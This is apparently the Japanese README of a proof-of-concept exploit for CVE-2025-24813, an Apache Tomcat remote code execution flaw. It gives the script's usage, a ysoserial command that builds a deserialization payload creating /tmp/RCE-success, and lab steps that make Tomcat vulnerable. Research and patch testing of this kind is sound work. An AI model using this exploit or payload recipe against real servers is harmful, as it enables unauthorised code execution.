
CVE-2025-24813 Apache Tomcat RCE 概念実証 (PoC)
CVE-2025-24813 の PoC。Apache Tomcat のリモートコード実行 (RCE) 脆弱性です。
重要: この PoC は、自身の環境でのテストまたは教育目的のみを意図しています。適切な許可なくシステムを悪用するためにこの PoC を使用することは禁止されており、違法となる可能性があります。この PoC の作成者および配布者は、誤用や損害について一切の責任を負いません。自分が所有していない環境をテストする前に、必ず明示的な許可を得てください。
python3 CVE-2025-24813.py --url <target_url>
コードには既に、ysoserial (https://github.com/frohoff/ysoserial) で生成された base64 エンコードされたペイロードが含まれています。これは /tmp に RCE-success ファイルを作成します。
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
PUT / 書き込みアクセスを有効にする
$CATALINA_HOME/conf/web.xml を編集し、default サーブレット名セクションに readonly パラメータを追加して false に設定します。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
セッション永続化を有効にする
$CATALINA_HOME/conf/context.xml を編集し、次の設定を追加します。 <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp を編集し、セッションのデフォルト設定が "false" でないことを確認するか、単に削除します。 <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
または
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
依存関係を $CATALINA_HOME/lib/ にダウンロードします
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409